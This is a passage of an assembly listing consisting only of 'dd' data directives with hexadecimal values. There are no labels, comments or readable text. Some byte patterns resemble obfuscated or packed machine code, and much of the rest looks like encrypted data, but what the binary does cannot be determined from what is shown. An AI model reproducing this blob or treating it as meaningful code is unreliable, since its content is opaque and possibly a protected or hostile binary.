0C67391B5h, 0E8C5D914h, 4CB44h, 33E6FE00h dd 7CAD4D9Dh, 0CA4F96E6h, 151CE434h, 5DCC2F7Fh, 2245AEC7h dd 6ABA50D9h, 0B7079D94h, 151E74Ah, 0C89D33FEh, 0C7DEC2AFh dd 80665A7Eh, 0F839C6FBh, 0FAED1262h, 121FE205h, 61C72DC5h dd 64CD3214h, 85534317h, 4AE051AEh, 7CFC741Eh, 4A5545h dd 2C000000h, 0EDDA91FBh, 51769F29h, 1E2CE3B1h, 3164EE3h dd 0E7D40CF5h, 5A792103h, 71BE738Dh, 0F35927D9h, 62B72E3Ch dd 2B09382Ah, 0A65A7921h, 307A6998h, 26D7C4AAh, 4B578FF5h dd 62C733B4h, 0EB1666FCh, 2D55F946h, 0B8000004h, 37AE39C6h dd 0B7C57CE2h, 23B3994Ah, 50A67243h, 0CD059DEAh, 74BD4224h dd 0D7BBA8BDh, 5F549224h, 7D675991h, 3E2BE24Ah, 517730DFh dd 8344915Fh, 5A7930A3h, 0B7A2383Eh, 409BA50Dh, 83EEh dd 70829700h, 48930FE3h, 17FB8A36h, 9F5A7995h, 94AF9380h dd 69375A79h, 0A62D4F03h, 0C2DF80E1h, 0FB2C798Ah, 0D8C5DA91h dd 5491D3F4h, 0D3A68A77h, 602E5491h, 95A8E0AEh, 76FBE1A8h dd 974E5C51h, 0FB960B34h, 76DCFBFEh, 1DE19129h, 0F72FC714h dd 0DCE1BE9h, 5A78E02Dh, 0FC6173C8h, 0C2390B0h, 0D725E921h dd 9B07FAA4h, 0D42C3A40h, 0DB3B1F0Ch, 0F5C35A79h, 7EBD88Fh dd 8F5A79DBh, 0E11789C1h, 0C2000000h, 33BADBFh, 0D33FF1CBh dd 0C1708F9Bh, 76699274h, 0C45CA988h, 0D02F115Eh, 0CD321461h dd 0B79BAD64h, 40C047D5h, 802A42B4h, 433C6CCh, 44ABDACCh dd 46549295h, 92E278B9h, 8E77C46Dh, 1E0B6E7Ch, 2DDD46FFh dd 832961B8h, 1F31E850h, 0A7674497h, 5A6DA5C0h, 76FB7A6Dh dd 3C6B7D51h, 375BD014h, 0FC35C979h, 52E8B6C4h, 16CD3F68h dd 38C14404h, 0F47C005h, 9FA90FFCh, 0DBA9575Fh, 3E220F24h dd 0C66062C0h, 9FADC0F8h, 0B57C835Ch, 9269B94Fh, 6F9B7397h dd 0F8D5DF05h, 2CB54h, 33E6FE00h, 7CAD4D9Dh, 0CA4F96E6h dd 151CE434h, 5DCC2F7Fh, 2245AEC7h, 6ABA50D9h, 0B7079D94h dd 151E74Ah, 0C89D33FEh, 0C9DEC2AFh, 80665A7Eh, 0F435C6FBh dd 573B283Dh, 0DF5491D3h, 97E7D911h, 0DE33C968h, 0DA91FB2Ch dd 76FC26EDh, 21D8A651h, 0D45EC13h, 0B4697B64h, 834548A8h dd 0FFE3D087h, 875A7947h, 0B69681B9h, 385A7947h, 381A67C2h dd 44BC6CADh, 7D2BA0EDh, 0F510D46Fh, 0F765D5E4h, 90A5FA91h dd 7965BFA3h, 4179475Ah, 0C3D16F7Dh, 0C0A9F63Bh, 7965EFD3h dd 43A9775Ah, 6E79230Bh, 0E65A409Bh, 5000000h, 7198AABFh dd 0D3520540h, 0F7FDE170h, 93805491h, 5491F7AFh, 0E9B76937h dd 0D75AA5B1h, 0D653A88Ah, 391D0A1Fh, 0C35491F8h, 7442F43Dh dd 0C0F821C4h, 0E0202E17h, 346C0451h, 91F4E249h, 161BE454h dd 62CF3080h, 0CB5E9DABh, 0FB432714h, 0FDCB5491h, 77A01CC5h dd 0BB404E05h, 5189216Eh, 0EC5E513Eh, 98665176h, 7DEF1802h dd 42A3B1C6h, 6FB49FD7h, 0EF575FA2h, 9F5C6A21h, 0DA24BB40h dd 0C720A57h, 0D24DDBFh, 5CC228C0h, 5A8576C6h, 1258BA6h dd 0DF056C17h, 89E08461h, 40000001h, 8FDF75A4h, 0D828BE6Bh dd 26760C0Dh, 71C157DAh, 0F0099F8Ah, 92976487h, 0DF52ACFCh dd 2908F949h, 75BC4393h, 4F10ADFh, 5A7ECB20h, 0C63DC2A8h dd 0DA57AA35h, 0F98FF58Dh, 0C66B94A2h, 667D828Eh, 8795E2E1h dd 0C95FC5FEh, 0F839C674h, 0FB36C9ABh, 47EA1565h, 0E3557EFAh dd 0FDDC3F2Ch, 96645176h, 9A976749h, 9A8F6B4Dh, 0ECCC17EAh dd 4ABA033h, 81F643A9h, 57805D3h, 0FD0B21B7h, 9EDDAFEh dd 915A79C7h, 19255DC3h, 0CBB54BE6h, 8C793098h, 575EB7B9h dd 44267341h, 772976BBh, 8597B543h, 0E9D45220h, 0DB3EBCEh dd 0CEBB72DAh, 5D45FDFBh, 0CF1FB583h, 0D89AB330h, 0C9ECE6Ah dd 0BCDDEFA6h, 7C604D71h, 4664859h, 0A3398236h, 583AE31Bh dd 963B88A9h, 5CA3B248h, 27B39784h, 0C13D6648h, 8AF0BE70h dd 6FD90AF4h, 5268CBB8h, 0DDEB632Dh, 0F33EC21Dh, 2847558Dh dd 0FC49E01Ah, 56F1D564h, 0AB796C2Fh, 8C798E45h, 6C2F56A8h dd 812A6230h, 1AD1609Fh, 0DF4F30Ch, 0D93FD724h, 0DC55AA8Ch dd 0F0953E76h, 306354A2h, 0C12411C8h, 49691480h, 0C8FBE57Bh dd 853E220Fh, 0F8C67216h, 0B4C6DB92h, 5A2F9D2h, 240F47C9h dd 6F01733Dh, 40226F3Dh, 8CDC72BFh, 0B071BE73h, 562718BEh dd 1F36C4F8h, 6BBB51E0h, 67509D94h, 548CA559h, 0C279B848h dd 0ACE44DB4h, 0FA105E03h, 79D946Bh, 9CE948B7h, 3F8h, 13585B00h dd 0AEFB1EC6h, 0B1FE33CCh, 0B2FF32CFh, 0B6032ED0h, 0B50227D4h dd 0B40128D3h, 0B6032ED2h, 0BB0811D4h, 0BB0821D9h, 40CD686Fh dd 14890000h, 81E28924h, 4C2h, 4EA8300h, 5C241487h, 646B68h dd 240C8900h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch dd 0E1B9241Ch, 0C178B73Ah, 0C14904E9h, 0C18104E9h, 5E155815h dd 5DACE981h, 0B85027CAh, 332F56BBh, 6858C131h, 2161h dd 83242489h, 5B042404h, 441868h, 240C8900h, 8B08438Fh dd 8956241Ch, 4C681E6h, 83000000h, 348704C6h, 34FF5C24h dd 0C4815924h, 4, 0FA86D6E9h, 0A47C0AFFh, 7C932BC7h, 0B878039Fh dd 5ECF928h, 0E0FFC503h, 72BC7392h, 3F035DF2h, 19408Fh dd 7909B93Fh, 0AEE0593h, 0FABE8D8Dh, 0EB205ECh, 1AA98D89h dd 0C28A05E7h, 2A4D85C7h, 70BC05E7h, 0B58B0000h, 5E71AA1h dd 273985C7h, 5E7h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 7CA811C3h, 48C73BC2h dd 12E8D78Bh, 71000000h, 8821D290h, 0FC9F4F61h, 0C622435Ah dd 0CB4C3A30h, 0C2816620h, 0FF5A0B53h, 0E71555B5h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 9D89C632h, 5E70959h, 2890Fh, 27B60000h, 6830Fh, 0BD8B0000h dd 5E713DDh, 179595FFh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 94C556C3h, 860D9980h dd 0EE81BAC1h, 11BC15B7h, 95FF006Ah, 5E721C1h, 1CEBC08Bh dd 911DBCB1h, 961D0BD5h, 1824502Bh, 0F95BA0A1h, 0DACFF8C3h dd 9B3493C3h, 48591C7Ah, 878208EBh, 64C5h, 0DCE90241h dd 6800000Bh, 5ECFC70h, 0FB4E68E9h, 0FD6A68FFh, 5EE905ECh dd 68FFFB4Eh, 5ECFEC7h, 0FB4E54E9h, 0FFBA68FFh, 4AE905ECh dd 68FFFB4Eh, 5ED008Ch, 0FB4E40E9h, 26368FFh, 36E905EDh dd 68FFFB4Eh, 5ED0311h, 0FB4E2CE9h, 45A68FFh, 22E905EDh dd 68FFFB4Eh, 5ED054Eh, 0FB4E18E9h, 0D07E6EFFh dd 0EF5D8E42h, 0BA5AD61h, 268AC97Dh, 44F6E498h, 0E5C1A3B6h dd 3B745F7h, 20D462D2h, 39ED7BD1h, 0EA079527h, 874BD206h dd 0D7B9583Eh, 82342601h, 0BBDAF85h, 4443AB7Dh, 8DF4ACE0h dd 5D105BCCh, 76C35E60h, 2B3A5844h, 95C69C99h, 0B0622A27h dd 554D4642h, 0E561F7E7h, 366CBEA6h, 76000000h, 42ECE4ECh dd 6F2F4645h, 0D122317Fh, 0F6C1A7EAh, 221F72E2h, 54F8F923h dd 0AF699D01h, 335BCC4Fh, 0A0818380h, 8E58440Fh, 0A2382896h dd 0ADBEA718h, 0CAh, 823426B7h, 0FB9AF85h, 8CC00212h, 5E2B8291h dd 7A9C073h, 906663D5h, 4688EC5Eh, 2B820B12h, 2F46F95Eh dd 851B4929h, 161E5E2Bh, 767572C4h, 19ABBD5Fh, 40959D8Bh dd 0E1F8F7F4h, 9E9B2D3Fh, 0E349868Eh, 10D0E7E6h, 0BD6094DEh dd 3F5E2B7Eh, 0A1D5398Ch, 5BCC8253h, 4416A457h, 3375D9AAh dd 52C58745h, 0D19DAD1Fh, 6230478Ch, 55DA7B2Ch, 5DC0F4B8h dd 9F5E1D73h, 2376C215h, 76646CD0h, 548236C4h, 28F6AFE2h dd 23BCC4CBh, 9AA3Fh, 0F8469600h, 17A5B66Ah, 339DD589h dd 4EE2F1A5h, 6CDE0CC0h, 0DE9CBDEh, 2BDF6DDFh, 48FC8A3Ah dd 6115A309h, 122FBD0Fh, 8623FA2Eh, 0FFE1583Eh, 86302629h dd 0A01244F8h, 0FEEC5412h, 84AA467Dh, 4CD105A6h, 0B05E2B50h dd 0D393AAFDh, 0D4086C1Bh, 5BCC7844h, 0A3CF917Fh, 0E68994C8h dd 0C87B5843h, 53A1C5B8h, 191B5243h, 1027CBF1h, 565EC275h dd 2BA0B705h, 4470F829h, 0D03E3658h, 0A6B64AE0h, 0AE55BEh dd 272F0000h, 0C4708731h, 85823426h, 1EFF3375h, 0D75E2B82h dd 0A0103385h, 0BE7983F0h, 0C0D72AA5h, 817EC81Eh, 2AEBE57Fh dd 7ACC1E5Eh, 942638ECh, 3C4BA397h, 667EAD8h, 42AEAC7Ch dd 0D91B4F2Bh, 0D95BCBF0h, 28C69826h, 0D8C7FB5Fh, 2C55DAA1h dd 0DF0D1579h, 0AFE35A96h, 5E1D626Eh, 8B88DB8Eh, 0F7AB398Ch dd 0DE7080E1h, 5C8FE2E1h, 0C4CB3A91h, 0B08266FFh, 90000008h dd 0B064F25Ch, 0CF8311BFh, 0EB9F2D83h, 6BA48E4h, 0C5D866D0h dd 67D107E3h, 843025D9h, 9D0F42F6h, 0B7095B0Fh, 0F4280C29h dd 583E8529h, 2623F9DBh, 44F88630h, 5412A012h, 69713426h dd 0AA73C973h, 5A5E2B82h, 815754A7h, 7D4FDD6Fh, 7AAE1271h dd 5BCC944Eh, 401613C6h, 200E9C2Eh, 7B78C218h, 91C3657Ch dd 0A12221Fh, 6C6B68C6h, 8BB98755h, 1042D386h, 86CBA19Eh dd 838D2926h, 0BB8D1915h, 0D6687A4Dh, 1525A48h, 0E8FA9CB3h dd 0C9575956h, 26DB8A4Dh, 3F2D3AA8h, 0EE6C22BFh, 7A0A03CDh dd 446C64E1h, 2638DAF1h, 520694h, 0C5AFB1AEh, 0F81F3325h dd 0BBAD80EEh, 489DA509h, 2BDFE5FCh, 968A8739h, 33EA1E58h dd 0D1E0CCDAh, 5F67CB1Eh, 0C3C2BF09h, 9C9CD0ACh, 57DE6DF3h dd 0B2AF194Fh, 4E019CB3h, 8700EEC0h, 0F7B5EF23h, 2614E312h dd 12CF153Ah, 49FB68Ch, 0CE525451h, 60E0CC88h, 0ABEDFA68h dd 0CC88A677h, 0D0D69E0h, 0C4D0E2DEh, 18D7EEA1h, 361E7682h dd 4B98Dh, 23FA9700h, 0AE5E2B82h, 5E2B9273h, 2B712B5Eh dd 8DE0E85Eh, 2C43423Fh, 2B6FC35Eh, 0B1D21C5Eh, 0CF030B4Dh dd 0D87C4A61h, 1C5BCC71h, 3A40A1ACh, 62B5EC23h, 0A4509A2Fh dd 0EBCF68CAh, 753h, 0C14FF9EDh, 0E06EDA0Dh, 0FC8A242Ch dd 17A50B48h, 35C37563h, 76644022h, 538236C4h, 529F53E1h dd 0A6B86CFAh, 85698614h, 3E84CC51h, 784E3058h, 85823426h dd 0C2265D91h, 0C777EE8Eh, 0B71BCE5Bh, 110EBEAFh, 9E9B2D3Bh dd 2F354C9Fh, 99233941h, 62739D9Ch, 0BFD6D5D2h, 22CC510Eh dd 0F3C9FD61h, 755DFB5h, 805E4E54h, 5FF13EF6h, 0BC1E3B8Fh dd 5B4DB5D5h, 4A9CA408h, 2C25FBF8h, 31848380h, 0BAFC3E1Ah dd 0C12F9786h, 49F565AEh, 39ECA2E4h, 6D4EB3Eh, 0AC626076h dd 4ECF0345h, 0AEB39E55h, 0BF49E4FBh, 481E1BADh, 0A7A6A309h dd 10040154h, 2F9DCEDEh, 19737632h, 0B3CF65A8h, 75A90D60h dd 0B13F7ED2h, 0F177B2Eh, 0C5076BDDh, 0C17E8C91h, 0CF0070AEh dd 0F7881C96h, 3367CB1Eh, 0AEC10CEAh, 4A50671Ah, 0BFF24496h dd 74278E28h, 607155EEh, 0E0000006h, 0B4428Ch, 1FD361EFh dd 3BEF7DD3h, 560A9834h, 1528B600h, 0B7015733h, 0D4607529h dd 0ED5F9246h, 7B9AB5Fh, 44785C79h, 583E82D9h, 873492Bh dd 5399DE6h, 5BCC93C3h, 0E6288C3Fh, 446C6BB2h, 0D90F9958h dd 2073726Fh, 7C849409h, 24C6DD6Bh, 141C8032h, 767572DCh dd 95AC1E4Ch, 0A816E820h, 0EC5037B7h, 0E57E10B8h, 6971B355h dd 0AD70C66Ah, 4F5E2B82h, 37EA859Ch, 2686CBD3h, 781A2A29h dd 7D61ED19h, 2C1A2037h, 0F0363B3Eh, 758C343Ah, 2B5B7AA7h dd 3241495Eh, 8BA2A19Eh, 2B5B60BDh, 186F7F5Eh, 50FC80B4h dd 3C005BC7h, 3EA51508h, 155DE758h, 181568BBh, 3EA50416h dd 9FADC558h, 0B8AA9BE7h, 3B32D306h, 8720BED0h, 58EA3h dd 14A2B200h, 3381D286h, 4FE1F1A5h, 6AC60DC1h, 883228DCh dd 2905E7FAh, 47FB8933h, 6418A616h, 7D31BF6Dh, 2E4BD96Bh dd 8207164Ah, 13F5583Eh, 0ECE4EC3Dh, 76C9676Bh, 0A3637A79h dd 211D7F4Bh, 110EA0B0h, 0B5750212h, 7EC02477h, 1F5BCA90h dd 0C235881h, 0C6913E3Eh, 8E8B3E5Bh, 0B014A6B8h, 906A8A8h dd 3B8E3E33h, 0A34C1E24h, 6C69DB0Dh, 471D1A6Dh, 6115A315h dd 0EAC0BD0Fh, 1C0135F8h, 0E0583F66h, 60CC032Dh, 902E100Dh dd 0E6E34988h, 0A614D0E7h, 0F15B9199h, 3CDEF5F4h, 1C0A982Ah dd 3284D2DAh, 3DE03635h, 0B8583F66h, 181714A6h, 6C2B42F5h dd 0BEABC0D6h, 178E1h, 0E608EB00h, 3305399Dh, 0AF5BCC9Bh dd 22FDFFFCh, 0CB584469h, 7F883F2Dh, 0BA9D2D5Fh, 247C93A7h dd 5067BA9Ch, 0B9352694h, 63266CAh, 0FE55E4ACh, 0E1CFBD4Bh dd 96C8AA09h, 2B311424h, 0CC1EC0D7h, 0B5A77D7Ah, 4BA37503h dd 0C9C67265h, 0B1377CAh, 6C6B68C4h, 5B457955h, 0A75BCC76h dd 2CF5F7F4h, 2584467h, 3DEFE2EAh, 0CFC6A26h, 0BEA6F476h dd 3481h, 0E6088B00h, 1305399Dh, 0CF5BCCAAh, 41D1F1Ch dd 0F958445Ah, 495956FAh, 445A0815h, 1F49FC58h, 55827FC9h dd 0A03FF6Dh, 1EB4A412h, 29BEA6CDh, 0C1h, 82342633h, 0FB9AF85h dd 982A3C12h, 4A93C59Bh, 0C553A618h, 2B857FE5h, 353A425Eh dd 8CDE8097h, 6BBE6E63h, 0CDE30BDDh, 2E2D2A86h, 0DE4377DBh dd 0E55BC22Bh, 194AC2F7h, 45C57D16h, 88DBEB50h, 6A051C70h dd 1D4B53B7h, 0ED219CD4h, 5841A530h, 7BCE21D4h, 70DC0F17h dd 499F5359h, 0A563BAEEh, 499A5841h, 0D225D8FBh, 0A6F62C9Fh dd 7D61FACAh, 3B7h, 5DEB5589h, 7C0AB6A9h, 982688C8h, 0B341EFE4h dd 0D15FE9FFh, 0EA00DCBEh, 0CF1ED260h, 363BEF7Dh, 2540896h dd 210522B0h, 3E8030EDh, 1CF2D458h, 0F8863026h, 8994C80Ah dd 7B5E2B82h, 0DD0FB1C8h, 91C5076Bh, 5E2B828Ch, 0A0A6BD70h dd 823426E2h, 7F6D7585h, 0BAD1D0CDh, 0E674C618h, 227FA28h dd 77AA5E2Bh, 685E2B02h, 6599FD86h, 5BC6F817h, 2614782Bh dd 0F49224C5h, 2B3D5954h, 0DBA549AEh, 0ECFC7188h, 4845F3E4h dd 7C723249h, 8D73A70Bh, 3455E07Dh, 735FBEF2h, 5A965E20h dd 71ED1F4h, 986B96Ch, 0A7C4C829h, 3092A0Eh, 27370000h dd 4570B99h, 7A762AB8h, 5D9246D4h, 0BFAD61EFh, 8A6C7F0Dh dd 800EB8AEh, 9D2B99CCh, 0B644E8E9h, 0D05ED002h, 829BCFB3h dd 82583E7Fh, 3426CAA0h, 0DA161E82h, 0FBF8549Dh dd 0ADACA9FCh, 194B2196h, 2A3B43A7h, 0AB7D839Ah, 0ACE04443h dd 5BCC8DF4h, 5E605D10h, 584476C3h, 1505736Bh, 0BEA6E57Fh dd 438Ah, 95C6400h, 0FA2357BBh, 0A58447Dh, 0EC944057h dd 82A776AAh, 0A2555E2Bh, 0EDE51892h, 3D54347Ch, 0AE12717Dh dd 0CC2B9E7Ah, 0A6A3565Bh, 442B7DA4h, 4BB9B158h, 0A6FCC55Bh dd 0DED0BEh, 0A2AA0000h, 3FEB02B4h, 85823426h, 120FB9AFh dd 9B982A3Ch, 0E355838Bh, 2ED0E7E6h, 14A0B33Ch, 0E6F5DC1h dd 1172DD98h, 1B090F26h, 7572C213h, 0D3915F76h, 0B05E2B47h dd 903C35BEh, 0E9FBAF3Dh, 9CD06F80h, 5E2B4881h, 2A7DD083h dd 0C0151D2Dh, 0A9FC489Dh, 0D696ADACh, 0D70B6F18h, 5BCC5B15h dd 0F02D6125h, 14584454h, 464DADA4h, 9CEF0165h, 95DDE549h dd 153F3E3Bh, 747370DCh, 6985575Dh, 3274B61Ah, 44051FFEh dd 132ADD58h, 0DAB83245h, 177B2E55h, 0E16FD90Fh, 5A8D3F2Dh dd 0C4CBE2DBh, 0C04C30C9h, 80000001h, 0A054E26Ch, 0BF73014Fh dd 0DB8F1DB3h, 0F6AA3894h, 0B5C856E0h, 57E1F7D3h, 74C015C9h dd 8D3F32E6h, 0A7194BFFh, 0E418FC19h, 583E7E39h, 2613E9CBh dd 44F88630h, 5412A012h, 399DE608h, 0CCAA1305h, 0CA5FCF5Bh dd 83AC21ACh, 9CACA9FCh, 0F2EF5D94h, 0D999E3F3h, 0B014164Eh dd 3956CB99h, 0B1A75844h, 3F340A07h, 34B29491h, 0D9D1CAC6h dd 0EDE57B6Bh, 0B5F0BEA6h, 0FA000000h, 85823426h, 0CC786D75h dd 0B0A6D0CFh, 1F4DEF06h, 0B6AEB0ADh, 0CF5E2B85h, 0D9C72B9Dh dd 5B4C927h, 8E94ABACh, 393688DAh, 80CC2129h, 3E45A969h dd 0F346A6DAh, 0A3565BCBh, 0DCAB4315h, 7D524478h, 454D55DAh dd 0AAA9A612h, 0E145F893h, 0D3799D9h, 6D6C69DBh, 64727A56h dd 145644D2h, 1D7E3DE0h, 0C7FBBF5Eh, 5E1D7E56h, 89A0F3A6h dd 1447F1E7h, 0C4CB1D8Bh, 0CC08EC85h, 74000000h, 9448D660h dd 0B367F543h, 0CF8311BFh, 0EA9E2C80h, 0A9BC4AFCh, 4BFDEBC7h dd 68D409BDh, 812B26DAh, 9B2D3FF3h, 0D80CF00Dh, 583E7D45h dd 26FFD5B7h, 44F88630h, 5412A012h, 85823426h, 7D0BBDAFh dd 0E04443ABh, 0F640969Eh, 0A9C33DF9h, 72782498h, 463A081Fh dd 3E5BC693h, 907E8E8Bh, 0A3A1FD48h, 4CEE059Dh, 661AA81Ah dd 0C3C5C274h, 391616CDh, 996CDAACh, 7967F547h, 0D0CD7F71h dd 0C618BAD1h, 0B7095B63h, 0B865BBBAh, 4CF96717h, 0D07C6F99h dd 8481D4D3h, 0E0BA1AEh, 53269446h, 6D21AF01h, 16820C7Bh dd 59796457h, 1265B804h, 193115h, 0ECC70000h, 82A776AAh dd 0A2555E2Bh, 868E8E8Bh, 42D3E349h, 59C029F4h, 26954158h dd 0B58B8836h, 3E1411A3h, 0C69C9933h, 52282597h, 0DFB5B204h dd 6C423F89h, 0F6CCC967h, 815754FAh, 1AE5E26Eh, 5E08950h dd 4, 4BE56h, 0F0290000h, 2404875Eh, 0A09685Ch, 3C890000h dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 55243489h dd 252D98BDh, 2EDC104h, 0AFE2C581h, 0EF8904E3h, 81242C8Bh dd 4C4h, 348B5400h, 4C48124h, 50000000h, 8B8h, 52F00100h dd 1089FA89h, 34FF585Ah, 0C4835E24h, 243C8B04h, 81E68956h dd 4C6h, 4C68300h, 5C243487h, 0FB429CE9h, 9D1B4BFFh, 0B89EEB77h dd 5ED063Fh, 0E0FFC503h, 2BD237F3h, 7849DDEFh, 5C09D573h dd 60C8C577h, 0AD8CFF1h, 469A0864h, 1D77E603h, 16C50D6Fh dd 6B263412h, 6B8FCFE0h, 1133D30Ah, 3513D9CEh, 565E2ECDh dd 583CBF3Fh, 0B7D57C1h, 27BED31h, 9E8h, 762CAB00h, 644CED89h dd 880FA9FCh, 20h, 1A880Fh, 14E80000h, 2F000000h, 48486A09h dd 8478E4B6h, 7797A5AFh, 4EFD9285h, 5B028A0Fh, 0B9F38159h dd 8123615Ch, 6E38C1h, 0B8FBB600h, 2936F600h, 2565C081h dd 6660D6C9h, 611811B8h, 0BEBE398Bh, 81427703h, 2996E5F7h dd 5E9602Ah, 0E2000000h, 3898B35Bh, 98C78161h, 0E9542D50h dd 0Ah, 0B05410Ah, 0C885156Dh, 0EF81471Ch, 49A4ABAAh, 89D7BF0Fh dd 0D6816639h, 0E9838038h, 7E901h, 209C0000h, 27BB337Ah dd 49494946h, 0F48D08Bh, 0FFFFA785h, 928D8DFFh, 8005ED08h dd 8B666DF6h, 0A98D89C3h, 6005E71Ah, 4840Fh, 0BE660000h dd 0B58B705Bh, 5E7287Dh, 4D85C761h, 0F405E72Ah, 66000063h dd 0C75FAFBAh, 0E7273985h, 5, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0AE5A08Bh dd 0EE98351h, 0B3000000h, 9CE40A56h, 787401B2h, 0E55DB9B4h dd 0CD9D8B65h, 0FF05E723h, 0E72AF1B5h, 52006A05h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 81AD5439h, 0F73DF6E6h, 9595FF27h, 6A05E717h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 651C351h, 9D8BACEFh, 5E7066Dh, 95FF006Ah, 5E721C1h dd 68EBC08Bh, 85AE46B9h, 0EFC31693h, 0A12A7983h, 6F5AE042h dd 0A042E143h, 96C3AF32h, 8D367001h, 9D09B89Eh, 69F018EDh dd 67B1B3A2h, 0ADFF8335h, 0BD2829Ah, 0D432CF40h, 62F3367Eh dd 0C526D33Dh, 2A2CBF24h, 1AF6086h, 9B533F4Fh, 1FEC904Bh dd 95D0D9A2h, 82F18DDBh, 896B8677h, 0CB262148h, 2C900B02h dd 0C3F21EE5h, 135E8F2Bh, 5E8h, 9118F400h, 9D29948Ah, 5E708B5h dd 7E95Fh, 51610000h, 99616A28h, 6EC7813Ch, 6000005Eh dd 2A959D23h, 8D0305E7h, 5E716FDh, 177CB961h, 0B8660000h dd 378B5952h, 77CA8166h, 0DC681B8h, 0F0F41A2h, 38Ah, 5EDE8000h dd 0D191EE81h, 5E908CFh, 9E000000h, 5CC1D0A5h, 6925EE81h dd 8166215Eh, 8963A5E8h, 8381B637h, 858901EFh, 5E72CC5h dd 0F4F4F4Fh, 0F49C2BFh, 0FFFFB585h, 0EBD98BFFh, 9E7D0079h dd 0E2218CEFh, 0ABAFD60Fh, 4DB2979Fh, 95B7E37Ch, 0A9E57200h dd 0B69CB5E9h, 0F377609Bh, 0B794A9B6h, 60D7609Eh, 0A9BD897Dh dd 9EBD8C9Eh, 95ACE372h, 0B98B204Ah, 89937E9Bh, 0F496B99Dh dd 0A19E96AFh, 0A7D6B594h, 0D100FD91h, 594ACC48h, 713C33h dd 57DB4D52h, 0B7D65EF3h, 0F600B79Bh, 8995ABAFh, 56F0009Fh dd 0B3D7C771h, 711800BEh, 0ADC4D756h, 0C42173E2h, 67E97587h dd 6800000Fh, 5ED0BEDh, 0FA767EE9h, 0CBA68FFh, 74E905EDh dd 68FFFA76h, 5ED0DBEh, 0FA766AE9h, 0F1368FFh, 60E905EDh dd 68FFFA76h, 5ED0F9Eh, 0FA7656E9h, 106B68FFh, 4CE905EDh dd 68FFFA76h, 5ED111Dh, 0FA7642E9h, 11C668FFh, 38E905EDh dd 68FFFA76h, 5ED1278h, 0FA762EE9h, 134E68FFh, 24E905EDh dd 68FFFA76h, 5ED1493h, 0FA761AE9h, 169768FFh, 10E905EDh dd 68FFFA76h, 5ED17A5h, 0FA7606E9h, 83964EFFh, 0CC5D9DEDh dd 1AFFE636h, 65CC3484h, 0AD7C7FCFh, 7295FE17h, 0BA0AA089h dd 757ED44h, 51A137FAh, 18ED83AEh, 0DE2E12FFh, 0D0B65A7Eh dd 0AE39C64Bh, 0BD778F4Ch, 0E8E2EA07h, 0EDCF1C82h, 9F891F12h dd 33E5B674h, 0A005A299h, 3796833Ah, 0B25177D2h, 0D1CCB09Dh dd 86545A79h, 2572404Eh, 79D18464h, 34F5065Ah, 36FB05E7h dd 2F1300E9h, 0B75A79D2h, 0D22876E9h, 0DA3036CDh, 0A5847684h dd 6DB856Dh, 25BC409Bh, 67000000h, 0DA91FB2Ch, 76FC26EDh dd 21D8A651h, 941E813h, 0FBBF9F60h, 545A5A78h, 0D429D386h dd 0F30A409Bh, 0B5000000h, 0ABF839C6h, 0E54CB4C2h, 0E74AB698h dd 649C029Ah, 3986A358h dd 0D289A857h, 0E66716C0h, 52A904D1h, 903971D7h, 29E051AEh dd 7A478A17h, 93CBF389h, 0C53C4AA1h, 0E249346Ch, 0E45491D4h dd 2980161Bh, 0FE4BE61Bh, 0DD222E66h, 0D63CF50Ah, 428EA089h dd 4AF03265h, 0C3F49AD2h, 0CAB5A259h, 0D2517794h, 7CF188B6h dd 863DA549h, 498276DCh, 5EF45AC0h, 718F4374h, 75DB73C0h dd 2684D1BEh, 36045760h, 997D6A7Fh, 21606346h, 0FA081B53h dd 3B922801h, 46553926h, 0E4DB6063h, 0B92E9885h, 0F8AC7A2Ch dd 60A8D7D4h, 1E2A6223h, 0E8284CDDh, 80DF04ABh, 0CC1FFA3h dd 31B30000h, 0F80252E8h, 9A4B9B31h, 6799E97Fh, 17E434CAh dd 0FA637C12h, 6F0524D7h, 0BC52DF1Fh, 69C956Ch, 52E849B6h dd 9377647Dh, 1B5A7EDEh, 35C6B035h, 0F10E5EF4h, 0C42AEFF6h dd 0FB2CD92Eh, 26EDDA91h, 0A65176FCh, 0EACA8BD8h, 855A78FBh dd 51D82230h, 0D4875519h, 409BD42Ah, 0BE0Bh, 39C6B600h dd 0B4C2ABF8h, 39BE831h, 0ED3CBFCBh, 0D178DFA0h, 65735491h dd 535F979Ah, 9FEF85ACh, 884D160h, 0B87A1FDFh, 27E7570Ah dd 0FDB18593h, 7BBE32CEh, 0FBAF0B6Dh, 2AE147ADh, 76E3523Dh dd 0B4475551h, 612F3D75h, 46B6E1CBh, 7344A28Fh, 0F6C4575Fh dd 11CA313Fh, 0A6988AE4h, 0A83EA4E1h, 6286A358h, 0DF0669B8h dd 0F44FF3D0h, 8000000Bh, 0CF1FB564h, 1868FE2Bh, 66B64CCDh dd 0B101979Ah, 3049DF4Ah, 0D257A4C7h, 1F12EC3Ch, 69C83989h dd 0B57C83D3h, 44314A1Fh, 5A7EDF60h, 0BF7D02E8h, 0D3D9BDAAh dd 93615491h, 7DAC4F5Bh, 0EC2DB8C6h, 0D3644835h, 1EEC5491h dd 5BA4F4E6h, 0C6EB40D6h, 0C9ABF839h, 0E65FB36h, 0D4280CF9h dd 0E2B05491h, 84479EAAh, 0BD10B57Ch, 82399FC9h, 58A58C74h dd 0FDDF88C0h, 0DA992F02h, 4D3A4F92h, 54921169h, 8D6F23F1h dd 9D0881A5h, 3B6C124Ah, 0EA2D1AD1h, 7251774Bh, 1CDFEDA4h dd 8B0CD50Dh, 0A9037EACh, 4FAF6394h, 97FD95E2h, 0AFACF3E0h dd 142C4EE8h, 2AE147EAh, 25645118h, 0D188DB4Ah, 0EB0000E4h dd 82BA8857h, 712A5DD9h, 0EAFFA084h, 1C092857h, 57EB0038h dd 268CF2C0h, 0DB43826Fh, 0B0BE54D4h, 0F991DE4Bh, 0A794B3C1h dd 5DD57CC3h, 60177D4Bh, 0EE84AD52h, 